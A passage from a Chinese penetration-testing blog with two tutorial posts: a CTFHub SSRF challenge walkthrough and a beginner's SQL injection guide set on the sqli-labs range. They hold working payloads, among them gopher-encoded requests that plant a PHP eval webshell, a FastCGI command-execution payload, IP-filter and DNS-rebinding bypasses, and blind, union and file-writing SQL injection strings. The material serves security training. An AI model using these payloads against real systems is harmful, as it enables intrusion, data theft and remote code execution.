首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,877 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
67
篇与
的结果
2025-05-18
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御
什么是SSRF?即服务器端请求伪造(Server-Side Request Forgery),是一种网络攻击技术,攻击者利用服务器上的应用程序向任意服务器发起请求或者操作,这些请求可能包括但不限于文件读取、命令执行、端口扫描等。由于这些请求是从服务器内部发起的,因此他们可以绕过服务器的外部访问控制,访问内部网络资源或者执行恶意操作。它的危害SSRF攻击通常发生再服务器应用程序允许用户输入被用于构建请求 URL的情况下。如果输入没有得到适当的验证和过滤,攻击者就可以利用这一点来发起恶意请求。例如,如果一个应用程序允许用户输入一个URL来下载文件,攻击者可能会输入指向内部服务器的URL,从而访问或者下载内部文件。如何防御?验证所有用户输入,确保它们是合法的和预期的。限制可访问的URL或资源,避免访问内部网络或敏感资源。使用白名单机制,只允许访问预定义的、安全的URL。对于敏感操作,实施额外的安全措施,如身份验证和授权检查。SSRF漏洞复现靶场:CTFHub,Pikachu内网访问开启环境后,查看题目条件,找出位于127.0.0.1的flag.php页面什么也没有根据题目要求尝试使用这个url参数,进行内网访问,但是页面什么也没有仔细观察url参数前面有一个_,将它删掉试试,测试成功伪协议读取文件常见的伪协议类型有file:///dict://sftp://ldap://tftp://gopher://这里我们用到的是file:/// --本地文件传输协议,主要用来访问本地计算机中的文件,构造payload如下。/?url=file:///var/www/html/flag.php鬼的,他就三个?对于刚入门的小白,我懵逼了。。。。直到几分钟后我查看了他的源码。emmmm,这不就是我们的结果嘛,这关过了端口扫描题目:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦截取到请求包之后发送到攻击器(Intruder)添加payload,这里只有一个需要爆破,所以攻击方式选狙击手设置payload为数值型,因为需要扫描的端口是8000-9000,所以payload配置如下验证匹配结果,并开始攻击端口爆破成功,成功找到flag,端口为8248尝试使用浏览器访问内网的8248端口,成功!Gopher协议的利用定义:Gopher是早期的Internet信息检索系统,通过索引将用户引导至不同资源,主要使用TCP 70端口。在WWW普及前,它是主要的检索工具,但现已基本过时,使用较少。gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议POST题目:这次是发一个HTTP POST请求.对了.SSRF是用php的curl实现的.并且会跟踪302跳转.加油吧骚年这个题目中呢有这么一个文件,在127.0.0.1中的flag.php当我尝试输入了各种值,抓包分析,直到我查看了源码。。这里有一个key,还是被注释了的,不知道是干嘛的先复制下来2161b9fb20ae6d96b0604425b1de64be,尝试使用file协议查看php源码,访问默认web目录var/www/html/flag.php,即?url=file:///var/www/html/flag.php这时候即可查看源码,尝试进行分析 <?php //关闭所有的错误报告 error_reporting(0); //判断请求的ip地址是否是127.0.0.1 if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { //如果不是127.0.0.1,就返回这段字符串 echo "Just View From 127.0.0.1"; return; } //falg的获取 $flag=getenv("CTFHUB"); $key = md5($flag); //判断post请求中是否存在key这个参数,key就是刚刚页面上看到的注释的值 if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?> <form action="/flag.php" method="post"> <input type="text" name="key"> <!-- Debug: key=<?php echo $key;?>--> </form>每个项目中默认主页都是index,这是一个php靶场,那么这首页就是index.php/?url=file:///var/www/html/index.php访问之后是个空页面,但是查看网页源码会发现,尝试分析一下源码<?php //关闭错误报告 error_reporting(0); //判断url参数是否存在 if (!isset($_REQUEST['url'])){ //不存在就跳转到当前根目录 header("Location: /?url=_"); exit; } //初始化curl $ch = curl_init(); //指定请求的url curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //告诉curl不返回http头,只返回http正文 curl_setopt($ch, CURLOPT_HEADER, 0); //允许cURL跟随重定向。如果服务器响应包含重定向,cURL将自动处理。 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);这段代码没有包含错误处理,也没有设置CURLOPT_RETURNTRANSFER选项,这可能导致cURL的输出直接被输出到浏览器,所以可以利用此curl漏洞进行攻击构造POST请求包访问flag.php查看源码找到key,并输入到输入框,使用bp拦截尝试使用Gopher 协议向服务器发送 POST 包在使用Gopher协议发送POST请求包时,HOST、Content-Type和Content-Length请求头是必不可少的,但是在GET请求中可以没有。key值为自己所获得的。在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次解码。所以我们需要对构造的请求包进行两次编码:第一次解码将解码的结果复制下来,保存在txt文档中,其中需要将%0A替换成 %0D%0A因为%0A是ASCII 码中的换行符,在URL的二次编码中不需要,否则会导致curl执行错误,导致我们拿不到正确的结果替换完成之后,再次进行url编码,这里的url就是源码中的curl要执行的//使用gopher协议,构造payload ?url=gopher://127.0.0.1:80/_二次编码的url(注意别少了前面那个下划线)得到结果!上传文件题目:这次需要上传一个文件到flag.php了.祝你好运访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮这里脑回路就来了,题目要求是上传文件,没有提交按钮,我可以自己添加一个啊(・◡ु‹ )Tips:在html中如果button在form标签中,默认是提交按钮,这里可以不要改变他的type属性。这个时候就可以提交了,但是没有任何内容。我们尝试访问源码利用file协议基础漏洞访问 file:///var/www/html/flag.php<?php error_reporting(0); //判断请求的ip,虽然不能访问127.0.0.1,但是可以使用Gopher协议绕过 if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } // 判断文件是否存在 if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> Upload Webshell <form action="/flag.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> </form>构造自己的post上传文件请求包POST /flag.php HTTP/1.1 Host: challenge-3fe3506777a14929.sandbox.CTFhub.com:10800 Content-Length: 231 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryCkYhfsFblAQSYePb Content-Disposition: form-data; name="file"; filename="myscript.php" Content-Type: application/octet-stream <?php @eval($_POST['shell']);?> ------WebKitFormBoundaryCkYhfsFblAQSYePb-- gopher协议的俩次URL编码(第一次编码完成后需要将%0A修改为%0D%0A)前面忘记补充了gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议得到伪造payload:?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-3fe3506777a14929.sandbox.CTFhub.com:10800%250D%250AContent-Length:%2520231%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/125.0.0.0%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522myscript.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'shell'%255D);?%253E%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb--得到结果(´。✪ω✪。`)FastCGI协议介绍FastCGI是一种用于数据传输的通信协议,与HTTP协议相似,它提供了一个进行数据交换的通道。详细见 https://blog.csdn.net/mysteryflower/article/details/94386461CTFHub漏洞复现题目:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助。git clone https://github.com/tarunkant/Gopherus.git然后使用python2执行这个脚本这里的cat /f*命令就是漏洞利用,获取flag返回的请求内容,这是我的payloadgopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00编码之后的结果gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/f%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500进行注入,得到flag,(。◕ ∀ ◕。)Redis协议题目:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!本关还是使用Gopherus脚本尝试使用漏洞file协议读取shell.php?url=file:///var/www/html/shell.php一句话木马上传成功然后访问shell.php使用中国大蚂蚁打开终端,使用find命令查找flag*find / -name flag*这里我的结果在最后一行cat查看内容 ⁙ὸ‿ό⁙URL Bypass原理先看说一些废话吧,url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常用的跳转,在登录,支付口,也就是一旦登录将会跳转任意自己构建的网站,如果设置成自己的url则会造成钓鱼。参考 https://segmentfault.com/a/1190000021968717漏洞复现看题目:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧我们可以使用HTTP 基本身份认证绕过: HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式也就是:http://www.xxx.com@www.yyy.com形式,这里介绍一些常用绕过方式1.最常用的@绕过 url=http://www.aaaa.com@www.xxx.com(要跳转的页面)他有的可能验证只要存在aaaa.com就允许访问,做个@解析,实际上我们是跳转到xxx.com的 2.?号绕过 url=http://www.aaaa.com?www.xxx.com 3.#绕过 url=http://www.aaaa.com#www.xxx.com 4.斜杠/绕过 url=http://www.aaaa.com/www.xxx.com 等等等等paload如下:?url=http://notfound.ctfhub.com@127.0.0.1/flag.php(´•ω•`๑)数字IP Bypass题目: 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢嗯,我的第一想法是使用localhost,不知道能不能行,尝试一下成功,验证了我的想法,既然localhost可以,转换为16进制试试看,payload如下?url=0x7f000001/flag.php八进制:0177.000.000.001十进制:127.0.0.1十六进制:0x7f000001既然也可以!!分析下源码吧?url=file:///var/www/html/flag.php<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; exit; } echo getenv("CTFHUB");分析下源码吧?url=file:///var/www/html/index.php<?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $url = $_REQUEST['url']; if (preg_match("/127|172|10|192/", $url)) { exit("hacker! Ban Intranet IP"); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch); 哈哈哈,(#`ε´# )ゞ,就是如此,只限制了127.0.0.1不能输入,但是我们可以使用localhost和十六进制进行绕过302跳转 Bypass和上一题一样,可以使用localhost进行绕过,过DNS重绑定关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助必看原理https://zhuanlan.zhihu.com/p/89426041尝试payload进行访问?url=127.0.0.1/flag.php我们查看index.php的源码,和上一关一样。但上一关的方法却不起作用了使用dns重绑定,https://lock.cmpxchg8b.com/rebinder.html构造payload?url=7f000001.7f000002.rbndr.us/flag.phpSSRF完成,꒰#’ω`#꒱੭!原文链接:https://mp.weixin.qq.com/s/9UF8c2Ig36QI4SF6pAwlWw
2025年05月18日
1,367 阅读
0 评论
0 点赞
2025-05-18
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练环境工具:burp suite靶场:sqli服务器:centos7数据库:mysql5.7什么是 Sql 注入?SQL 注入是比较常见的网络攻击方式之一,它不是利用操作系统的 BUG 来实现攻击,而是针对程序员编写时的疏忽,通过 SQL 语句,实现无账号登录,甚至篡改数据库。由于以下的环境都是 MySQL 数据库,所以先了解点 MySQL 有关的知识。在 MySQL5.0 之后,MySQL 中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。mysql中注释符:# 、/**/ 、 --information_schema 中三个很重要的表: information_schema.schemata:该数据表存储了 mysql 数据库中的所有数据库的库名 information_schema.tables:该数据表存储了 mysql 数据库中的所有数据表的表名 information_schema.columns:该数据表存储了 mysql 数据库中的所有列的列名 Mysql 中常用的函数------------------------------------- version():查询数据库的版本 user():查询数据库的使用者 database():数据库 system_user():系统用户名 session_user():连接数据库的用户名 current_user():当前用户名 load_file():读取本地文件 @@datadir:读取数据库路径 @@basedir:mysql安装路径 @@version_complie_os:查看操作系统 -------------------------------------ascii(str):返回给定字符的ascii值。如果str是空字符串,返回0如果str是NULL,返回NULL。如 ascii("a")=97 length(str) : 返回给定字符串的长度,如 length("string")=6 substr(string,start,length):对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in" substr()、stbstring()、mid() :三个函数的用法、功能均一致 concat(username):将查询到的username连在一起,默认用逗号分隔 concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接 group_concat(username) :将username所有数据查询在一起,用逗号连接 limit 0,1:查询第1个数 limit 1,1:查询第2个数判断 SQL 注入是否存在 先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在 SQL 注入漏洞了。 还有在 URL 后面加 and 1 = 1 、 and 1 = 2看页面是否显示一样,显示不一样的话,肯定存在 SQL 注入漏洞了。 还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。 在 MySQL 中,有一个Benchmark()函数,它是用于测试性能的。Benchmark(count,expr),这个函数执行的结果,是将表达式 expr 执行 count 次 。 因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。易出现 SQL 注入的功能点: 凡是和数据库有交互的地方都容易出现 SQL 注入,SQL 注入经常出现在登陆页面、涉及获取 HTTP 头(user-agent / client-ip 等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在 HTTP 头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 ip 的,有可能会被存储进数据库中从而与数据库发生交互导致 sql 注入。Sql 注入的分类 分类依据 类型 获取信息的方式 布尔盲注,时间盲注,报错注入 ,union查询注入,堆叠注入等 提交方式 GET、POST、COOKIE、HTTP 注入等 注入点类型 数字类型的注入、字符串类型的注入、搜索型注入等 其他注入 二次注入、User-Agent 注入、文件读写、宽字节注入 、万能密码 等 N 大类型 Sql 注入原理一、布尔盲注1. 原理以及手工注入条件:攻击者无法直接获取到这些信息 Web 的页面的仅仅会返回 True 和 False。那么布尔盲注就是进行 SQL 注入之后然后根据页面返回的 True 或者是 False 来得到数据库中的相关信息。这里介绍的是通过 ascii 码进行盲注的案例。盲注一般用到的一些函数:ascii() 、substr()、length(),exists()、concat()等http://192.168.1.132:86/Less-5/?id=1为正确页面,回显如下图:http://192.168.209.128:88/Less-5/?id=1'为错误页面,发现注入点,回显如下图:http://192.168.209.128:88/Less-5/?id=1' and length(database())>5 -- qwe 注:这里 qwe 前需要使用空格使用 bool 值进行注入比如:and 1=11.如何判断数据库类型?这个例子中出错页面已经告诉了我们此数据库是 MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?目前主流的数据库都有自己的特有表分别如下: 数据库 表名 MySQL information_schema.tables Access msysobjects SQLServer sysobjects 通过这些特有表,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库//判断是否是Mysql数据库 http://192.168.209.128:88/Less-5/?id=1' and exists(select * from information_schema.tables) # //判断是否是 access数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) # //判断是否是 Sqlserver数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #' //对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。 information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍: 名称 描述 table_schema 记录数据库名 table_name 记录数据表名 table_rows 关于表的粗略行估计 data_length 记录表的大小(单位字节) 2. 判断当前数据库名(以下方法不适用于 access 和 SQL Server 数据库)1:判断当前数据库的长度,利用二分法 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>5 --+ //正常显示 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>10 --+ //不显示任何数据 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>7 --+ //正常显示 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>8 --+ //不显示任何数据大于 7 正常显示,大于 8 不显示,说明大于 7 而不大于 8,所以可知当前数据库长度为 8imgimg2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断 //判断数据库的第一个字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100 --+ //判断数据库的第二个字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+ ...........由此可以判断出当前数据库为 security,注意使用ascii码转换字符的时候需要使用十进制3. 判断当前数据库中的表(语句后面添加--+)http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在 admin 表1:判断当前数据库中表的个数 // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # 2:判断每个表的长度 //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 3:判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # //判断第一个表的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 # .........由此可判断出存在表 emails、referers、uagents、users ,猜测 users 表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断4. 判断表中的字段http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在 admin 表,那么猜测是否存在 username 字段1:判断表中字段的个数 //判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 # 2:判断字段的长度 //判断第一个字段的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 //判断第二个字段的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 3:判断字段的ascii值 //判断第一个字段的第一个字符的长度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 //判断第一个字段的第二个字符的长度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 ...........由此可判断出 users 表中存在 id、username、password 字段5.判断字段中的数据我们知道了 users 中有三个字段 id 、username 、password,我们现在爆出每个字段的数据1: 判断数据的长度 // 判断id字段的第一个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 // 判断id字段的第二个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 2:判断数据的ascii值 // 判断id字段的第一个数据的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 // 判断id字段的第一个数据的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 ...........二、union查询注入(union 注入)一、原理及手工注入三个条件: 两个表的列数相同,并且相应的列具有相似的数据类型。 查询结果回显。 存在注入漏洞。 我们可以通过order by来判断当前表的列数。http://192.168.209.128:88/Less-1/?id=1' order by 4-- qwq4 时错误,3 时正确,可得知,当前表有 3 列通过 union union查询来知道显示的列数。http://192.168.209.128:88/Less-1/?id=-1' union select 1 ,2 ,3 -- qwq我们union查询的就显示出来了。可知,第 2 列和第 3 列是回显列。那我们就可以在这两个位置插入一些函数了。------------------------------------- version():查询数据库的版本 user():查询数据库的使用者 database():数据库 system_user():系统用户名 session_user():连接数据库的用户名 current_user:当前用户名 load_file:读取本地文件 @@datadir:读取数据库路径 @@basedir:mysql安装路径 @@version_complie_os:查看操作系统 -------------------------------------开始注入脚本//回显出数据库版本信息、数据库所在路径 http://192.168.209.128:88/Less-1/?id=-1' union select 1,version(),@@datadir -- qwq //更多自行尝试 。。。。。。我们还可以通过 union 注入获得更多的信息。// 获得所有的数据库 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ // 获得所有的表 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables--+ // 获得所有的列 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns --+通过select 1,database(),3...,得出当前数据库名security,我们就可以通过下面的语句得到当前数据库的所有的表。http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +我们知道了当前数据库中存在了四个表,那么我们可以通过下面的语句知道每个表中的列。http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- + 如下,我们可以知道 users 表中有 id,username,password 三列 使用 group_concat()拼接账号密码还有 id,即可爆出所有数据http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users -- +三、文件读写1. union 注入读取文件注:当有显示列的时候,文件读可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;文件写入只能利用 union 注入示例:读取系统根目录下的/demo.txt 文件//union注入读取 /demo.txt 文件,windows使用->盘符:/路径 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("demo.txt") -- + //也可以把 /demo.txt 转换成16进制 这里没成功,可以去找找资料。。。 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x2F64656D6F2E747874) -- +如果不成功,参考以下解决方案 在 mysql 目录中找到 my.ini/my.cnf 文件在[mysqld]下面添加如下内容 secure_file_priv = "" 如图:登录 mysql 执行以下命令mysql>SHOW VARIABLES LIKE "secure_file_priv"; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+这里secure_file_priv的值要为""或者 "/"secure_file_priv 有三个值1、限制 mysqld 不允许导入 | 导出mysqld –secure_file_prive=null2、限制 mysqld 的导入 | 导出 只能发生在/tmp/目录下mysqld –secure_file_priv=/tmp/3、不对 mysqld 的导入 | 导出做限制secure_file_priv=''2. 盲注读取文件盲注读取的话就是利用hex函数,将读取的字符串转换成 16 进制,再利用ascii函数,转换成 ascii 码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成 http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1我们可以利用写入文件的功能,在 e 盘创建 4.php 文件,然后写入一句话木马。//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'd:/4.php' -- + // 可以将一句话木马转换成16进制的形式 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'd:/4.php' -- +在文件写入读取的时候,遇见以下这种情况。多半是因为权限不足,可以使用@@datadir,得到当前数据库存储目录,试着在数据库存储目录进行文件注入 比如http://192.168.209.128:88/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile '/www/server/mysql/4.php' --注入成功权限不足的解决办法-参考环境:CentOS7.0 64 位MySQL5.7问题:#使用'select into outfile'备份数据表提示无法写入文件 mysql> select 1,2,'you are very good hacker' from into outfile '/www/server/mysql/app.txt'; ERROR 1 (HY000): Can't create/write to file '/www/server/mysql/app.txt' (Errcode: 13)排查:#查看mysql的进程用户,为mysql用户 [root@lfs ~]# ps aux|grep mysqld root 1400 0.0 0.1 108208 1612 ? S 01:22 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --user=mysql mysql 1778 0.0 6.6 974276 67076 ? Sl 01:22 0:06 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/data/lfs.err --pid-file=/usr/local/mysql/data/lfs.pid --socket=/tmp/mysql.sock --port=3306 #查看/www/server/mysql/目录的权限,mysql用户没有写入权限 [root@lfs ~]# ls -ld /www/server/mysql/ drwxr-xr-x 4 root root 4096 Aug 23 17:03 /www/server/mysql/解决办法:#将/data/mysql/目录的归属为mysql用户 chown -R mysql.mysql /www/server/mysql/ [root@lfs ~]# ls -ld /data/mysql/ drwxr-xr-x 4 mysql mysql 4096 Aug 23 17:03 /www/server/mysql/验证,写入成功: 四、报错注入报错注⼊常⽤的函数 floor() extractvalue() updatexml() geometrycollection() multipoint() polygon() multipolygon() linestring() .。。。。。 这里介绍一个案例updatexml()。updatexml()MySQL提供了一个 updatexml()函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a参数2内容中的查询结果显示在数据库的报错信息中,并回显到页面。version():返回数据库版本concat():拼接特殊符号和查询结果updatexml()函数的报错内容长度不能超过32个字符,常用的解决方式有两种: limit:分页 substr():截取字符 1.1 limit分页例如,已知users表中包含username和password两个字段,显示出某个password字段的数据id=-1' and updatexml(1, concat(0x7e,( select password from users limit 0,1 )), 3) -- 